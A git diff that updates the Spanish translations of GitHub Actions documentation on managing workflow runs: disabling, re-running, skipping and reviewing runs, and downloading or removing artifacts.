 {% data reusables.repositories.navigate-to-workflow %}
-1. To delete a workflow run, use the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, and select **Delete workflow run**.
+1. Para eliminar una ejecución de flujo de trabajo, utiliza el menú desplegable de {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} y selecciona **Borrar una ejecución de flujo de trabajo**.
 
-    ![Deleting a workflow run](/assets/images/help/settings/workflow-delete-run.png)
-2. Review the confirmation prompt and click **Yes, permanently delete this workflow run**.
+    ![Borrar una ejecución de flujo de trabajo](/assets/images/help/settings/workflow-delete-run.png)
+2. Revisa el mensaje de confirmación y da clic en **Sí, borrar esta ejecución de flujo de trabajo permanentemente**.
 
-    ![Deleting a workflow run confirmation](/assets/images/help/settings/workflow-delete-run-confirmation.png)
+    ![Borrar una confirmación de ejecución de flujo de trabajo](/assets/images/help/settings/workflow-delete-run-confirmation.png)
diff --git a/translations/es-ES/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md b/translations/es-ES/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
index 7d2434b60a..4fddb3db84 100644
--- a/translations/es-ES/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
+++ b/translations/es-ES/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md
@@ -1,50 +1,43 @@
 ---
-title: Disabling and enabling a workflow
-intro: 'You can disable and re-enable a workflow using the {% data variables.product.prodname_dotcom %} UI, the REST API, or {% data variables.product.prodname_cli %}.'
+title: Inhabilitar y habilitar un flujo de trabajo
+intro: 'Puedes inhabilitar y volver a habilitar un flujo de trabajo utilizando la IU de {% data variables.product.prodname_dotcom %}, la API de REST, o el {% data variables.product.prodname_cli %}.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Disable & enable a workflow
+shortTitle: Inhabilitar & habilitar un flujo de trabajo
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-Disabling a workflow allows you to stop a workflow from being triggered without having to delete the file from the repo. You can easily re-enable the workflow again on {% data variables.product.prodname_dotcom %}.
+Inhabilitar un flujo de trabajo te permite impedir que se active sin tener que borrar el archivo del repositorio. Puedes habilitar el flujo de trabajo de nuevo fácilmente en {% data variables.product.prodname_dotcom %}.
 
-Temporarily disabling a workflow can be useful in many scenarios. These are a few examples where disabling a workflow might be helpful:
+Inhabilitar un flujo de trabajo temporalmente puede ser útil en varios escenarios. Estos son algunos cuantos ejemplos en donde inhabilitar un flujo de trabajo podría ser útil:
 
-- A workflow error that produces too many or wrong requests, impacting external services negatively.
-- A workflow that is not critical and is consuming too many minutes on your account.
-- A workflow that sends requests to a service that is down.
-- Workflows on a forked repository that aren't needed (for example, scheduled workflows).
+- Existe un error en el flujo de trabajo, el cual produce demasiadas solicitudes erróneas, lo cual impacta negativamente los servicios externos.
+- Hay un flujo de trabajo que no es crítico y que está consumiendo demasiados minutos en tu cuenta.
+- Hay un flujo de trabajo que envía solicitudes a un servicio que está inactivo.
+- Hay flujos de trabajo en un repositorio bifurcado que no se necesitan (por ejemplo, flujos de trabajo programados).
 
 {% warning %}
 
-**Warning:** {% data reusables.actions.scheduled-workflows-disabled %}
+**Advertencia:** {% data reusables.actions.scheduled-workflows-disabled %}
 
 {% endwarning %}
 
-You can also disable and enable a workflow using the REST API. For more information, see the "[Actions REST API](/rest/reference/actions#workflows)."
+También puedes inhabilitar y habilitar un flujo de trabajo utilizando la API de REST. Para obtener más información, consulta la sección "[API de REST de Acciones](/rest/reference/actions#workflows)".
 
-## Disabling a workflow
-
-{% include tool-switcher %}
+## Inhabilitar un flujo de trabajo
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to disable.
-![actions select workflow](/assets/images/actions-select-workflow.png)
-1. Click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-![actions kebab menu](/assets/images/help/repository/actions-workflow-menu-kebab.png)
-1. Click **Disable workflow**.
-![actions disable workflow](/assets/images/help/repository/actions-disable-workflow.png)
-The disabled workflow is marked {% octicon "stop" aria-label="The stop icon" %} to indicate its status.
-![actions list disabled workflow](/assets/images/help/repository/actions-find-disabled-workflow.png)
+1. En la barra lateral, da clic en el flujo de trabajo que quieras inhabilitar. ![flujo de trabajo de la selección en las acciones](/assets/images/actions-select-workflow.png)
+1. Da clic en {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. ![menú de kebab de las acciones](/assets/images/help/repository/actions-workflow-menu-kebab.png)
+1. Da clic en **Inhabilitar flujo de trabajo**. ![actions disable workflow](/assets/images/help/repository/actions-disable-workflow.png)El flujo de trabajo inhabilitado se marca con {% octicon "stop" aria-label="The stop icon" %} para indicar su estado. ![lista de acciones del flujo de trabajo inhabilitado](/assets/images/help/repository/actions-find-disabled-workflow.png)
 
 {% endwebui %}
 
@@ -52,7 +45,7 @@ The disabled workflow is marked {% octicon "stop" aria-label="The stop icon" %}
 
 {% data reusables.cli.cli-learn-more %}
 
-To disable a workflow, use the `workflow disable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to disable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+Para inhabilitar un flujo de trabajo, utiliza el subcomando `workflow disable`. Reemplaza a `workflow` con ya sea el nombre, ID o nombre de archivo del flujo de trabajo que quieres inhabilitar. Por ejemplo `"Link Checker"`, `1234567`, o `"link-check-test.yml"`. Si no especificas un flujo de trabajo, {% data variables.product.prodname_cli %} devolverá un menú interactivo para que elijas un flujo de trabajo.
 
 ```shell
 gh workflow disable <em>workflow</em>
@@ -60,26 +53,22 @@ gh workflow disable <em>workflow</em>
 
 {% endcli %}
 
-## Enabling a workflow
-
-{% include tool-switcher %}
+## Habilitar un flujo de trabajo
 
 {% webui %}
 
-You can re-enable a workflow that was previously disabled.
+Puedes volver a habilitar un flujo de trabajo que se había inhabilitado previamente.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to enable.
-![actions select disabled workflow](/assets/images/help/repository/actions-select-disabled-workflow.png)
-1. Click **Enable workflow**.
-![actions enable workflow](/assets/images/help/repository/actions-enable-workflow.png)
+1. En la barra lateral izquierda, da clic en el flujo de trabajo que quieres habiitar. ![acciones para seleccional el flujo de trabajo inhabilitado](/assets/images/help/repository/actions-select-disabled-workflow.png)
+1. Da clic en **Habilitar flujo de trabajo**. ![acciones para habilitar flujo de trabajo](/assets/images/help/repository/actions-enable-workflow.png)
 
 {% endwebui %}
 
 {% cli %}
 
-To enable a workflow, use the `workflow enable` subcommand. Replace `workflow` with either the name, ID, or file name of the workflow you want to enable. For example, `"Link Checker"`, `1234567`, or `"link-check-test.yml"`. If you don't specify a workflow, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a workflow.
+Para habilitar un flujo de trabajo, utiliza el subcomando `workflow enable`. Reemplaza a `workflow` con ya sea el nombre, ID o nombre de archivo del flujo de trabajo que quieras habilitar. Por ejemplo `"Link Checker"`, `1234567`, o `"link-check-test.yml"`. Si no especificas un flujo de trabajo, {% data variables.product.prodname_cli %} devolverá un menú interactivo para que elijas un flujo de trabajo.
 
 ```shell
 gh workflow enable <em>workflow</em>
diff --git a/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md b/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
index 4ab8536d23..126be1d60b 100644
--- a/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
+++ b/translations/es-ES/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md
@@ -1,34 +1,32 @@
 ---
-title: Downloading workflow artifacts
-intro: You can download archived artifacts before they automatically expire.
+title: Descargar los artefactos del flujo de trabajo
+intro: Puedes descargar artefactos archivados antes de que venzan automáticamente.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Download workflow artifacts
+shortTitle: Descargar artefactos de flujo de trabajo
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-By default, {% data variables.product.product_name %} stores build logs and artifacts for 90 days, and you can customize this retention period, depending on the type of repository. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)."
+Predeterminadamente, {% data variables.product.product_name %} almacena las bitácoras de compilación y artefactos durante 90 días y puedes personalizar este periodo de retención dependiendo del tipo de repositorio. Para obtener más información, consulta la sección "[Administrar los ajustes de las {% data variables.product.prodname_actions %} en un repositorio](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)".
 
 {% data reusables.repositories.permissions-statement-read %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Under **Artifacts**, click the artifact you want to download.
+1. Debajo de **Artefactos**, da clic en aquél que quieras descargar.
     {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down-updated.png)
+    ![Menú desplegable Download artifact (Descargar artefacto)](/assets/images/help/repository/artifact-drop-down-updated.png)
     {% else %}
-    ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down.png)
+    ![Menú desplegable Download artifact (Descargar artefacto)](/assets/images/help/repository/artifact-drop-down.png)
     {% endif %}
 
 {% endwebui %}
@@ -37,27 +35,27 @@ By default, {% data variables.product.product_name %} stores build logs and arti
 
 {% data reusables.cli.cli-learn-more %}
 
-{% data variables.product.prodname_cli %} will download each artifact into separate directories based on the artifact name. If only a single artifact is specified, it will be extracted into the current directory.
+El {% data variables.product.prodname_cli %} descargará cada artefacto en directorios separados con base en el nombre de dicho artefacto. Si se especifica solo un artefacto individual, este se extraerá en el directorio actual.
 
-To download all artifacts generated by a workflow run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent run.
+Para descargar todos los artefactos que genera una ejecución de flujo de trabajo, utiliza el subcomando `run download`. Reemplaza a `run-id` con la ID de la ejecución de la cual quieres descargar artefactos. Si no especificas una `run-id`, {% data variables.product.prodname_cli %} devolverá un menú interactivo para que elijas una ejecución reciente.
 
 ```shell
 gh run download <em>run-id</em>
 ```
 
-To download a specific artifact from a run, use the `run download` subcommand. Replace `run-id` with the ID of the run that you want to download artifacts from. Replace `artifact-name` with the name of the artifact that you want to download.
+Para descargar un artefacto específico desde una ejecución, utiliza el subcomando `run download`. Reemplaza a `run-id` con la ID de la ejecución de la cual quieres descargar artefactos. Reemplaza a `artifact-name` con el nombre del artefacto que quieres descargar.
 
 ```shell
 gh run download <em>run-id</em> -n <em>artifact-name</em>
 ```
 
-You can specify more than one artifact.
+Puedes especificar más de un artefacto.
 
 ```shell
 gh run download <em>run-id</em> -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
 ```
 
-To download specific artifacts across all runs in a repository, use the `run download` subcommand.
+Para descargar los artefactos específicos a lo largo de todas las ejecuciones en un repositorio, utiliza el subcomando `run download`.
 
 ```shell
 gh run download -n <em>artifact-name-1</em> -n <em>artifact-name-2</em>
diff --git a/translations/es-ES/content/actions/managing-workflow-runs/index.md b/translations/es-ES/content/actions/managing-workflow-runs/index.md
index 257ecba45f..418525304e 100644
--- a/translations/es-ES/content/actions/managing-workflow-runs/index.md
+++ b/translations/es-ES/content/actions/managing-workflow-runs/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing workflow runs
-shortTitle: Managing workflow runs
-intro: 'You can re-run or cancel a workflow, {% ifversion fpt or ghes > 3.0 or ghae %}review deployments, {% endif %}view billable job execution minutes, and download artifacts.'
+title: Administrar ejecuciones de flujo de trabajo
+shortTitle: Administrar ejecuciones de flujo de trabajo
+intro: 'Puedes volver a ejecutar o cancelar un flujo de trabajo, {% ifversion fpt or ghes > 3.0 or ghae %}revisar despliegues, {% endif %}ver los minutos facturables de ejecución de jobs y descargar artefactos.'
 redirect_from:
   - /actions/configuring-and-managing-workflows/managing-a-workflow-run
   - /articles/managing-a-workflow-run
@@ -25,5 +25,6 @@ children:
   - /downloading-workflow-artifacts
   - /removing-workflow-artifacts
 ---
+
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/es-ES/content/actions/managing-workflow-runs/manually-running-a-workflow.md b/translations/es-ES/content/actions/managing-workflow-runs/manually-running-a-workflow.md
index 249fc20534..c0efceadd1 100644
--- a/translations/es-ES/content/actions/managing-workflow-runs/manually-running-a-workflow.md
+++ b/translations/es-ES/content/actions/managing-workflow-runs/manually-running-a-workflow.md
@@ -20,8 +20,6 @@ To run a workflow manually, the workflow must be configured to run on the `workf
 
 ## Running a workflow
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
diff --git a/translations/es-ES/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md b/translations/es-ES/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
index 60aff0be96..ebb4056bdc 100644
--- a/translations/es-ES/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
+++ b/translations/es-ES/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md
@@ -17,9 +17,7 @@ versions:
 
 ## Re-running all the jobs in a workflow
 
-Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (Git ref) of the original event that triggered the workflow run. You can re-run a workflow for up to 30 days after the initial run. 
-
-{% include tool-switcher %}
+El volver a ejecutar un flujo de trabajo utiliza el mismo `GITHUB_SHA` (SHA de confirmación) y `GITHUB_REF` (ref de Git) del evento original que activó la ejecución de flujo de trabajo. You can re-run a workflow for up to 30 days after the initial run.
 
 {% webui %}
 
@@ -28,12 +26,10 @@ Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4721 or ghec %}
-1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**
-    ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png)
+1. En la esquina superior derecha del flujo de trabajo, utiliza el menú desplegable **Volver a ejecutar jobs** y selecciona **Volver a ejecutar todos los jobs** ![Rerun checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down.png)
 {% endif %}
 {% ifversion ghes < 3.3 or ghae %}
-1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.
-    ![Re-run checks drop-down menu](/assets/images/help/repository/rerun-checks-drop-down-updated.png)
+1. En la esquina superior derecha del flujo de trabajo, utiliza el menú desplegable **Volver a ejecutar jobs** y selecciona **Volver a ejecutar todos los jobs**. ![Volver a ejecutar el menú desplegable de verificaciones](/assets/images/help/repository/rerun-checks-drop-down-updated.png)
 {% endif %}
 
 {% endwebui %}
@@ -42,13 +38,13 @@ Re-running a workflow uses the same `GITHUB_SHA` (commit SHA) and `GITHUB_REF` (
 
 {% data reusables.cli.cli-learn-more %}
 
-To re-run a failed workflow run, use the `run rerun` subcommand. Replace `run-id` with the ID of the failed run that you want to re-run.  If you don't specify a `run-id`, {% data variables.product.prodname_cli %} returns an interactive menu for you to choose a recent failed run.
+Para volver a ejecutar una ejecución de flujo de trabajo fallida, utiliza el subcomando `run rerun`. Reemplaza a `run-id` con la ID de la ejecución fallida que quieres volver a ejecutar.  Si no especificas una `run-id`, {% data variables.product.prodname_cli %} devolverá un menú interactivo para que elijas una ejecución fallida reciente.
 
 ```shell
 gh run rerun <em>run-id</em>
 ```
 
-To view the progress of the workflow run, use the `run watch` subcommand and select the run from the interactive list.
+Para ver el progreso de la ejecución del flujo de trabajo, utiliza el subcomando `run watch` y selecciona la ejecución de la lista interactiva.
 
 ```shell
 gh run watch
@@ -59,14 +55,13 @@ gh run watch
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4721 or ghec %}
 ### Reviewing previous workflow runs
 
-You can view the results from your previous attempts at running a workflow. You can also view previous workflow runs using the API. For more information, see ["Get a workflow run"](/rest/reference/actions#get-a-workflow-run).
+You can view the results from your previous attempts at running a workflow. You can also view previous workflow runs using the API. Para obtener más información, consulta la sección "[Obtener una ejecución de flujo de trabajo](/rest/reference/actions#get-a-workflow-run)".
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Any previous run attempts are shown in the left pane.
-    ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png)
+1. Any previous run attempts are shown in the left pane. ![Rerun workflow](/assets/images/help/settings/actions-review-workflow-rerun.png)
 1. Click an entry to view its results.
 
 {% endif %}
diff --git a/translations/es-ES/content/actions/managing-workflow-runs/removing-workflow-artifacts.md b/translations/es-ES/content/actions/managing-workflow-runs/removing-workflow-artifacts.md
index e08d27650c..a9fd16dd98 100644
--- a/translations/es-ES/content/actions/managing-workflow-runs/removing-workflow-artifacts.md
+++ b/translations/es-ES/content/actions/managing-workflow-runs/removing-workflow-artifacts.md
@@ -1,22 +1,22 @@
 ---
-title: Removing workflow artifacts
-intro: 'You can reclaim used {% data variables.product.prodname_actions %} storage by deleting artifacts before they expire on {% data variables.product.product_name %}.'
+title: Eliminar artefactos de flujo de trabajo
+intro: 'Puedes reclamar el almacenamiento de {% data variables.product.prodname_actions %} que se haya utilizado si borras los artefactos antes de que venzan en {% data variables.product.product_name %}.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Remove workflow artifacts
+shortTitle: Eliminar los artefactos de un flujo de trabajo
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Deleting an artifact
+## Borrar un artefacto
 
 {% warning %}
 
-**Warning:** Once you delete an artifact, it can not be restored.
+**Advertencia:** Una vez que eliminas un artefacto, no se puede restaurar.
 
 {% endwarning %}
 
@@ -28,19 +28,20 @@ shortTitle: Remove workflow artifacts
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
 {% data reusables.repositories.view-run %}
-1. Under **Artifacts**, click {% octicon "trash" aria-label="The trash icon" %} next to the artifact you want to remove.
+1. Debajo de **Artefactos**, da clic en
+el {% octicon "trash" aria-label="The trash icon" %} junto al artefacto que quieras eliminar.
     {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact-updated.png)
+    ![Menú desplegable Delete artifact (Eliminar artefacto)](/assets/images/help/repository/actions-delete-artifact-updated.png)
     {% else %}
-    ![Delete artifact drop-down menu](/assets/images/help/repository/actions-delete-artifact.png)
+    ![Menú desplegable Delete artifact (Eliminar artefacto)](/assets/images/help/repository/actions-delete-artifact.png)
     {% endif %}
 
-## Setting the retention period for an artifact
+## Configurar el periodo de retención para un artefacto
 
-Retention periods for artifacts and logs can be configured at the repository, organization, and enterprise level. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits, billing, and administration](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)."{% elsif ghae %}"[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)," "[Configuring the retention period for {% data variables.product.prodname_actions %} for artifacts and logs in your organization](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)," or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)."{% endif %}
+Los periodos de retención para los artefactos y las bitácoras pueden configurarse a nivel de repositorio, organización y empresa. Para obtener más información, consulta la sección {% ifversion fpt or ghec or ghes %}"[Límites de uso, facturación y administración](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy)".{% elsif ghae %}"[Administrar los ajustes de {% data variables.product.prodname_actions %} para un repositorio](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)". "[Configurar el periodo de retención de las {% data variables.product.prodname_actions %} para los artefactos y bitácoras en tu organización](/organizations/managing-organization-settings/configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization)" o "[Requerir políticas para las {% data variables.product.prodname_actions %} en tu empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)".{% endif %}
 
-You can also define a custom retention period for individual artifacts using the `actions/upload-artifact` action in a workflow. For more information, see "[Storing workflow data as artifacts](/actions/guides/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period)."
+También puedes definir un periodo de retención personalizado para los artefactos individuales que utilizan la acción `actions/upload-artifact` en un flujo de trabajo. Para obtener más información, consulta la sección "[Almacenar datos del flujo de trabajo como artefactos](/actions/guides/storing-workflow-data-as-artifacts#configuring-a-custom-artifact-retention-period)".
 
-## Finding the expiration date of an artifact
+## Encontrar la fecha de vencimiento de un artefacto
 
-You can use the API to confirm the date that an artifact is scheduled to be deleted. For more information, see the `expires_at` value returned by "[List artifacts for a repository](/rest/reference/actions#artifacts)."
+Puedes utilizar la API para confirmar la fecha de programación para el borrado de un artefacto. Para obtener más información, consulta el valor de `expires_at` que devuelve la acción "[Listar artefactos para un repositorio](/rest/reference/actions#artifacts)".
diff --git a/translations/es-ES/content/actions/managing-workflow-runs/reviewing-deployments.md b/translations/es-ES/content/actions/managing-workflow-runs/reviewing-deployments.md
index 0e164843de..d34ef13594 100644
--- a/translations/es-ES/content/actions/managing-workflow-runs/reviewing-deployments.md
+++ b/translations/es-ES/content/actions/managing-workflow-runs/reviewing-deployments.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing deployments
-intro: You can approve or reject jobs awaiting review.
+title: Revisar los despliegues
+intro: Puedes aprobar o rechazar jobs que estén esperando una revisión.
 product: '{% data reusables.gated-features.environments %}'
 versions:
   fpt: '*'
@@ -10,19 +10,17 @@ versions:
 ---
 
 
-## About required reviews in workflows
+## Acerca de las revisiones requeridas en los flujos de trabajo
 
-Jobs that reference an environment configured with required reviewers will wait for an approval before starting. While a job is awaiting approval, it has a status of "Waiting". If a job is not approved within 30 days, the workflow run will be automatically canceled.
+Los jobs que referencian un ambiente configurado con revisores requeridos esperarán por una aprobación antes de comenzar. Mientras que un job espera su revisión, tendrá un estado de "Waiting". Si un job no se aprueba dentro de 30 días, la ejecución del flujo de trabajo se cancelará automáticamente.
 
-For more information about environments and required approvals, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."{% ifversion fpt or ghae or ghes > 3.1 or ghec %} For information about how to review deployments with the REST API, see "[Workflow Runs](/rest/reference/actions#workflow-runs)."{% endif %}
+Para obtener más información sobre los ambientes y aprobaciones requeridos, consulta la sección"[Utilizar ambientes para despliegue](/actions/deployment/using-environments-for-deployment)".{% ifversion fpt or ghae or ghes > 3.1 or ghec %} Para obtener información sobre cómo revisar los despliegues con la API de REST, consulta la sección "[Ejecuciones de flujo de trabajo](/rest/reference/actions#workflow-runs)".{% endif %}
 
-## Approving or rejecting a job
+## Aprobar o rechazar un job
 
-1. Navigate to the workflow run that requires review. For more information about navigating to a workflow run, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-2. Click **Review deployments**. 
-   ![Review deployments](/assets/images/actions-review-deployments.png)
-3. Select the job environment(s) to approve or reject. Optionally, leave a comment.
-   ![Approve deployments](/assets/images/actions-approve-deployments.png)
-4. Approve or reject:
-   - To approve the job, click **Approve and deploy**. Once a job is approved (and any other environment protection rules have passed), the job will proceed. At this point, the job can access any secrets stored in the environment.
-   - To reject the job, click **Reject**. If a job is rejected, the workflow will fail.
+1. Navega a la ejecución de flujo de trabajo que requiere revisión. Para obtener más información acerca de navegar a una ejecución de flujo de trabajo, consulta la sección "[Visualizar el historial de la ejecución del flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)".
+2. Da clic en **Revisar despliegues**. ![Revisar despliegues](/assets/images/actions-review-deployments.png)
+3. Selecciona el(los) ambiente(s) para aprobar o rechazar. Opcionalmente, deja un comentario. ![Aprobar despliegues](/assets/images/actions-approve-deployments.png)
+4. Aprueba o rechaza:
+   - Para aprobar el job, da clic en **Aprobar y desplegar**. Una vez que el job se apruebe (y que cualquier otra regla de protección del ambiente haya pasado), el job procederá. En este punto, el job puede acceder a cualquier secreto que esté almacenado en el ambiente.
+   - Para rechazar el job, da clic en **Rechazar**. Si se rechaza un job, el flujo de trabajo fallará.
diff --git a/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md b/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md
index 54666daf39..38118c309e 100644
--- a/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md
+++ b/translations/es-ES/content/actions/managing-workflow-runs/skipping-workflow-runs.md
@@ -1,18 +1,18 @@
 ---
-title: Skipping workflow runs
-intro: You can skip workflow runs triggered by the `push` and `pull_request` events by including a command in your commit message.
+title: Saltarse las ejecuciones de código
+intro: Puedes omitir las ejecuciones de flujo de trabajo que se activen con los eventos de `push` y `pull_request` si incluyes un comando en tu mensaje de confirmación.
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Skip workflow runs
+shortTitle: Omitir ejecuciones de flujo de trabajo
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-Workflows that would otherwise be triggered using `on: push` or `on: pull_request` won't be triggered if you add any of the following strings to the commit message in a push, or the HEAD commit of a pull request:
+Los flujos de trabajo que comúnmente se activarían utilizando `on: push` o `on: pull_request`, no se activarán si agregas cualquiera de las siguientes secuencias al mensaje de confirmación en una subida o a la confirmación PRINCIPAL (HEAD) de una solicitud de cambios:
 
 * `[skip ci]`
 * `[ci skip]`
@@ -20,14 +20,14 @@ Workflows that would otherwise be triggered using `on: push` or `on: pull_reques
 * `[skip actions]`
 * `[actions skip]`
 
-Alternatively, you can end the commit message with two empty lines followed by either `skip-checks: true` or `skip-checks:true`.
+Como alternativa, puedes finalizar el mensaje de confirmación con dos líneas vacías seguidas de ya sea `skip-checks: true` o `skip-checks:true`.
 
-You won't be able to merge the pull request if your repository is configured to require specific checks to pass first. To allow the pull request to be merged you can push a new commit to the pull request without the skip instruction in the commit message.
+No podrás fusionar la solicitud de cambios si tu repositorio se cofiguró para requerir que las verificaciones específicas pasen primero. Para permitir que la solicitud de cambios se fusione, puedes subir una confirmación nueva a la solicitud de cambios sin la instrucción de salto en el mensaje de confirmación.
 
 {% note %}
 
-**Note:** Skip instructions only apply to the `push` and `pull_request` events. For example, adding `[skip ci]` to a commit message won't stop a workflow that's triggered `on: pull_request_target` from running.
+**Nota:** Las instrucciones de salto solo aplican para los eventos de `push` y `pull_request`. Por ejemplo, el agregar `[skip ci]` a un mensaje de confirmación no impedirá que se ejecute un flujo de trabajo que se activa con `on: pull_request_target`.
 
 {% endnote %}
 
-Skip instructions only apply to the workflow run(s) that would be triggered by the commit that contains the skip instructions. You can also disable a workflow from running. For more information, see "[Disabling and enabling a workflow](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)."
+Las instrucciones de omisión solo aplican a las ejecuciones de flujo de trabajo que pudieran activarse mediante la confirmación que contiene dichas instrucciones. También puedes inhabilitar un flujo de trabajo para que no se ejecute. Para obtener más información, consulta la sección "[Inhabilitar y habilitar un flujo de trabajo](/actions/managing-workflow-runs/disabling-and-enabling-a-workflow)".
diff --git a/translations/es-ES/content/actions/migrating-to-github-actions/index.md b/translations/es-ES/content/actions/migrating-to-github-actions/index.md
index b4dbec7116..3449d789d0 100644
--- a/translations/es-ES/content/actions/migrating-to-github-actions/index.md
+++ b/translations/es-ES/content/actions/migrating-to-github-actions/index.md
@@ -1,7 +1,7 @@
 ---
-title: Migrating to GitHub Actions
-shortTitle: Migrating to GitHub Actions
-intro: 'Learn how to migrate your existing CI/CD workflows to {% data variables.product.prodname_actions %}.'
+title: Migrar a GitHub Actions
+shortTitle: Migrar a GitHub Actions
+intro: 'Aprende cómo migrar tus flujos de trabajos existentes de IC/DC a {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -9,7 +9,7 @@ versions:
   ghec: '*'
 redirect_from:
   - /actions/migrating-to-github-actions
-  - /articles/migrating-github-actions-from-hcl-syntax-to-yaml-syntax/
+  - /articles/migrating-github-actions-from-hcl-syntax-to-yaml-syntax
 children:
   - /migrating-from-azure-pipelines-to-github-actions
   - /migrating-from-circleci-to-github-actions
